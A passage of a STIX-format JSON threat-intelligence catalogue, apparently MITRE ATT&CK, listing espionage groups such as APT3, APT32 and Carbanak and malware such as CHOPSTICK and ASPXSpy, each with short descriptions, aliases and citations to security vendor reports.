                "UPS Team",
                "Buckeye",
                "Threat Group-0110",
                "TG-0110"
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Group/G0022",
                    "external_id": "G0022"
                },
                {
                    "source_name": "FireEye Clandestine Wolf",
                    "description": "Eng, E., Caselden, D.. (2015, June 23). Operation Clandestine Wolf \u2013 Adobe Flash Zero-Day in APT3 Phishing Campaign. Retrieved January 14, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html"
                },
                {
                    "source_name": "Recorded Future APT3 May 2017",
                    "description": "Insikt Group (Recorded Future). (2017, May 17). Recorded Future Research Concludes Chinese Ministry of State Security Behind APT3. Retrieved June 18, 2017.",
                    "url": "https://www.recordedfuture.com/chinese-mss-behind-apt3/"
                },
                {
                    "source_name": "FireEye Operation Double Tap",
                    "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation%20doubletap.html"
                },
                {
                    "source_name": "Symantec Buckeye",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
                },
                {
                    "source_name": "APT3 Adversary Emulation Plan",
                    "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.",
                    "url": "https://attack.mitre.org/w/img%20auth.php/6/6c/APT3%20Adversary%20Emulation%20Plan.pdf"
                }
            ],
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "created": "2017-05-31T21:31:51.026Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "APT30",
            "description": "APT30 is a threat group suspected to be associated with the Chinese government. (Citation: FireEye APT30) While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)",
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                "APT30"
            ],
            "object_marking_refs": [
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Group/G0013",
                    "external_id": "G0013"
                },
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                },
                {
                    "source_name": "Baumgartner Golovkin Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May 14). The Naikon APT. Retrieved January 14, 2015.",
                    "url": "https://securelist.com/the-naikon-apt/69953/"
                }
            ],
            "spec_version": "2.1",
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            "created": "2017-12-14T16:46:06.044Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "APT32",
            "description": "APT32 is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists, and has extensively used strategic web compromises to compromise victims. The group is believed to be Vietnam-based. (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017)",
            "aliases": [
                "APT32",
                "OceanLotus Group"
            ],
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            "external_references": [
                {
                    "source_name": "mitre-attack",
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                    "external_id": "G0050"
                },
                {
                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
                },
                {
                    "source_name": "Volexity OceanLotus Nov 2017",
                    "description": "Lassalle, D., et al. (2017, November 6). OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.",
                    "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/"
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            "name": "APT34",
            "description": "APT34 is an Iranian cyber espionage group that has been active since at least 2014. The group has targeted a variety of industries, including financial, government, energy, chemical, and telecommunications, and has largely focused its operations within the Middle East. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. APT34 loosely aligns with public reporting related to OilRig, but may not wholly align due to companies tracking threat groups in different ways. (Citation: FireEye APT34 Dec 2017)",
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                    "url": "https://attack.mitre.org/wiki/Group/G0057",
                    "external_id": "G0057"
                },
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
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            "name": "Axiom",
            "description": " (Citation: Axiom) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Axiom) Though both this group and Winnti Group use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)",
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                    "external_id": "G0001"
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                    "source_name": "Axiom",
                    "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.",
                    "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf"
                },
                {
                    "source_name": "Kaspersky Winnti April 2013",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.",
                    "url": "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf"
                },
                {
                    "source_name": "Kaspersky Winnti June 2015",
                    "description": "Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.",
                    "url": "https://securelist.com/games-are-over/70991/"
                },
                {
                    "source_name": "Novetta Winnti April 2015",
                    "description": "Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.",
                    "url": "http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf"
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            "description": "BRONZE BUTLER is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)",
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                    "external_id": "G0060"
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                    "source_name": "Trend Micro Daserf Nov 2017",
                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
                },
                {
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"
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            "description": "Carbanak is a threat group that mainly targets banks. It also refers to malware of the same name (Carbanak). It is sometimes referred to as FIN7, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately. (Citation: Kaspersky Carbanak) (Citation: FireEye FIN7 April 2017)\n\nContributors: Anastasios Pingios",
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                    "external_id": "G0008"
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                {
                    "source_name": "Kaspersky Carbanak",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved March 3, 2015.",
                    "url": "https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf"
                },
                {
                    "source_name": "FireEye FIN7 April 2017",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"
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            "name": "Charming Kitten",
            "description": "is an Iranian cyber espionage group that has been active since approximately 2014. They appear to focus on targeting individuals of interest to Iran who work in academic research, human rights, and media, with most victims having been located in Iran, the US, Israel, and the UK.  usually tries to access private email and Facebook accounts, and sometimes establishes a foothold on victim computers as a secondary objective. The group's TTPs overlap extensively with another group, Rocket Kitten, resulting in reporting that may not distinguish between the two groups' activities. (Citation: ClearSky Charming Kitten Dec 2017)",
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                    "external_id": "G0058"
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                {
                    "source_name": "ClearSky Charming Kitten Dec 2017",
                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming%20Kitten%202017.pdf"
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            "created": "2017-05-31T21:31:46.390Z",
            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Cleaver",
            "description": "Cleaver is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)",
            "aliases": [
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                    "url": "https://attack.mitre.org/wiki/Group/G0003",
                    "external_id": "G0003"
                },
                {
                    "source_name": "Cylance Cleaver",
                    "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf"
                },
                {
                    "source_name": "Dell Threat Group 2889",
                    "description": "Dell SecureWorks. (2015, October 7). Suspected Iran-Based Hacker Group Creates Network of Fake LinkedIn Profiles. Retrieved January 14, 2016.",
                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/"
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            "name": "CopyKittens",
            "description": "CopyKittens is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)",
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                },
                {
                    "source_name": "ClearSky CopyKittens March 2017",
                    "description": "ClearSky Cyber Security. (2017, March 30). Jerusalem Post and other Israeli websites compromised by Iranian threat agent CopyKitten. Retrieved August 21, 2017.",
                    "url": "http://www.clearskysec.com/copykitten-jpost/"
                },
                {
                    "source_name": "ClearSky Wilted Tulip July 2017",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
                },
                {
                    "source_name": "CopyKittens Nov 2015",
                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
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            "created": "2017-05-31T21:31:50.624Z",
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            "name": "Darkhotel",
            "description": "Darkhotel is a threat group that has been active since at least 2004. The group has conducted activity on hotel and business center Wi\u2011Fi and physical connections as well as peer-to-peer and file sharing networks. The actors have also conducted spearphishing. (Citation: Kaspersky Darkhotel)",
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                    "external_id": "G0012"
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                    "source_name": "Kaspersky Darkhotel",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.",
                    "url": "https://securelist.com/files/2014/11/darkhotel%20kl%2007.11.pdf"
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            "name": "Deep Panda",
            "description": "Deep Panda is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to Deep Panda. (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) Deep Panda also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine)",
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                    "external_id": "G0009"
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                {
                    "source_name": "Alperovitch 2014",
                    "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
                },
                {
                    "source_name": "ThreatConnect Anthem",
                    "description": "ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.",
                    "url": "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/"
                },
                {
                    "source_name": "RSA Shell Crew",
                    "description": "RSA Incident Response. (2014, January). RSA Incident Response Emerging Threat Profile: Shell Crew. Retrieved January 14, 2016.",
                    "url": "https://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf"
                },
                {
                    "source_name": "Symantec Black Vine",
                    "description": "DiMaggio, J.. (2015, August 6). The Black Vine cyberespionage group. Retrieved January 26, 2016.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf"
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            "description": "DragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)",
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                    "source_name": "Operation Quantum Entanglement",
                    "description": "Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf"
                },
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                    "source_name": "New DragonOK",
                    "description": "Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015.",
                    "url": "http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/"
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            "name": "Dragonfly",
            "description": "Dragonfly is a cyber espionage group that has been active since at least 2011. They initially targeted defense and aviation companies but shifted to focus on the energy sector in early 2013. They have also targeted companies related to industrial control systems. The group appeared to decrease activity following public exposure in 2014, and re-emerged in late 2015 through 2017. (Citation: Symantec Dragonfly) (Citation: Symantec Dragonfly) Sept 2017",
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                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
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                    "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.",
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                    "source_name": "Operation Hangover May 2013",
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                    "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Group/G0044",
                    "external_id": "G0044"
                },
                {
                    "source_name": "Kaspersky Winnti April 2013",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.",
                    "url": "https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf"
                },
                {
                    "source_name": "Kaspersky Winnti June 2015",
                    "description": "Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.",
                    "url": "https://securelist.com/games-are-over/70991/"
                },
                {
                    "source_name": "Novetta Winnti April 2015",
                    "description": "Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.",
                    "url": "http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf"
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            "name": "admin@338",
            "description": "admin@338 is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors. (Citation: FireEye admin@338)",
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                    "external_id": "G0018"
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                {
                    "source_name": "FireEye admin@338",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html"
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                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.",
                    "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"
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                    "source_name": "Crowdstrike CrowdCast Oct 2013",
                    "description": "Crowdstrike. (2013, October 16). CrowdCasts Monthly: You Have an Adversary Problem. Retrieved March 1, 2017.",
                    "url": "https://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem"
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                    "source_name": "FireEye Poison Ivy",
                    "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf"
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                    "source_name": "PWC Cloud Hopper April 2017",
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                },
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                    "source_name": "FireEye APT10 April 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10%20menupass%20grou.html"
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            "description": "3PARA RAT is a remote access tool (RAT) programmed in C++ that has been used by Putter Panda. (Citation: CrowdStrike Putter Panda)\n\nAliases: 3PARA RAT",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Software/S0066",
                    "external_id": "S0066"
                },
                {
                    "source_name": "CrowdStrike Putter Panda",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
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            "description": "4H RAT is malware that has been used by Putter Panda since at least 2007. (Citation: CrowdStrike Putter Panda)\n\nAliases: 4H RAT",
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                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
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                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
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                    "source_name": "ESET Sednit Part 2",
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                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
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            "name": "ASPXSpy",
            "description": "ASPXSpy is a Web shell. It has been modified by Threat Group-3390 actors to create the ASPXTool version. (Citation: Dell TG-3390)\n\nAliases: ASPXSpy, ASPXTool",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Software/S0073",
                    "external_id": "S0073"
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                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved January 25, 2016.",
                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/"
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            "name": "Agent.btz",
            "description": "Agent.btz is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. (Citation: Securelist Agent.btz)\n\nAliases: Agent.btz",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/wiki/Software/S0092",
                    "external_id": "S0092"
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                {
                    "source_name": "Securelist Agent.btz",
                    "description": "Gostev, A.. (2014, March 12). Agent.btz: a Source of Inspiration?. Retrieved April 8, 2016.",
                    "url": "https://securelist.com/agent-btz-a-source-of-inspiration/58551/"
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            "description": "Arp displays information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)\n\nAliases: Arp, arp.exe",
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                    "source_name": "TechNet Arp",
                    "description": "Microsoft. (n.d.). Arp. Retrieved April 17, 2016.",
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                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
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            "description": "BACKSPACE is a backdoor used by APT30 that dates back to at least 2005. (Citation: FireEye APT30)\n\nAliases: BACKSPACE, Lecna",
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                {
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                    "external_id": "S0031"
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                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
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            "created": "2017-05-31T21:33:14.118Z",
            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "BADNEWS is malware that has been used by the actors responsible for the MONSOON campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon)\n\nAliases: BADNEWS",
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                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
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            "modified": "2018-01-17T12:56:55.080Z",
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            "description": "BBSRAT is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)\n\nAliases: BBSRAT",
            "external_references": [
                {
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                    "external_id": "S0127"
                },
                {
                    "source_name": "Palo Alto Networks BBSRAT",
                    "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.",
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                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
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            "description": "CALENDAR is malware used by APT1 that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)\n\nAliases: CALENDAR",
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                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
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            "description": "CHOPSTICK is malware family of modular backdoors used by APT28. It has been used from at least November 2012 to August 2016 and is usually dropped on victims as second-stage malware, though it has been used as first-stage malware in several cases. (Citation: FireEye APT28) (Citation: ESET Sednit Part 2) (Citation: FireEye APT28) January 2017\n\nAliases: CHOPSTICK, SPLM, Xagent, X-Agent, webhp",
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                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
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                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
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            "description": "CORESHELL is a downloader used by APT28. The older versions of this malware are known as SOURFACE and newer versions as CORESHELL. It has also been referred to as Sofacy, though that term has been used widely to refer to both the group APT28 and malware families associated with the group. (Citation: FireEye APT28) (Citation: FireEye APT28) January 2017\n\nAliases: CORESHELL, SOURFACE",
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                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
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            "modified": "2018-01-17T12:56:55.080Z",
            "name": "Cachedump",
            "description": "Cachedump is a publicly-available tool that program extracts cached password hashes from a system\u2019s registry. (Citation: Mandiant APT1)\n\nAliases: Cachedump",
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                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
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            "created": "2017-05-31T21:32:52.875Z",
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            "name": "CallMe",
            "description": "CallMe is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: CallMe",
            "external_references": [
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                    "url": "https://attack.mitre.org/wiki/Software/S0077",
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                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
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            "description": "Carbanak is a remote backdoor used by a group of the same name (Carbanak). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak)\n\nAliases: Carbanak, Anunak",
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                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved March 3, 2015.",
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                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.",
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                    "source_name": "JPCERT ChChes Feb 2017",
                    "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.",
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                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
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                    "description": "Merritt, E.. (2015, November 16). Shining the Spotlight on Cherry Picker PoS Malware. Retrieved April 20, 2016.",
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                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved January 25, 2016.",
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            "description": "ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla. (Citation: Symantec Waterbug) (Citation: NorthSec 2015 GData Uroburos Tools)\n\nAliases: ComRAT",
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                    "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
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                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
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                    "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.",
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                    "description": "ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.",
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                    "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.",
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                    "description": "Reynolds, J.. (2016, September 13). H1N1: Technical analysis reveals new capabilities. Retrieved September 26, 2016.",
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                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"
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                    "description": "Rascagn\u00e8res, P.. (2016, October 27). Rootkit analysis: Use case on HideDRV. Retrieved March 9, 2017.",
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                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "description": "is a custom tool used by APT3 to do internal discovery on a victim's computer and network.  (Citation: Symantec Buckeye)\n\nAliases: OSInfo",
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                    "source_name": "Symantec Buckeye",
                    "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong"
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            "description": "OnionDuke is malware that was used by APT29 from 2013 to 2015. (Citation: F-Secure The Dukes)\n\nAliases: OnionDuke",
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                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
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                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved January 25, 2016.",
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                    "description": "SecureWorks. (2013). The Lifecycle of Peer-to-Peer (Gameover) ZeuS. Retrieved August 19, 2015.",
                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/The%20Lifecycle%20of%20Peer%20to%20Peer%20Gameover%20ZeuS/"
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            "description": "PHOREAL is a signature backdoor used by APT32. (Citation: FireEye APT32 May 2017)\n\nAliases: PHOREAL",
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                    "source_name": "FireEye APT32 May 2017",
                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
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                    "external_id": "S0150"
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                    "source_name": "FireEye POSHSPY April 2017",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting%20one%20ofap.html"
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            "created": "2017-05-31T21:33:24.739Z",
            "modified": "2018-01-17T12:56:55.080Z",
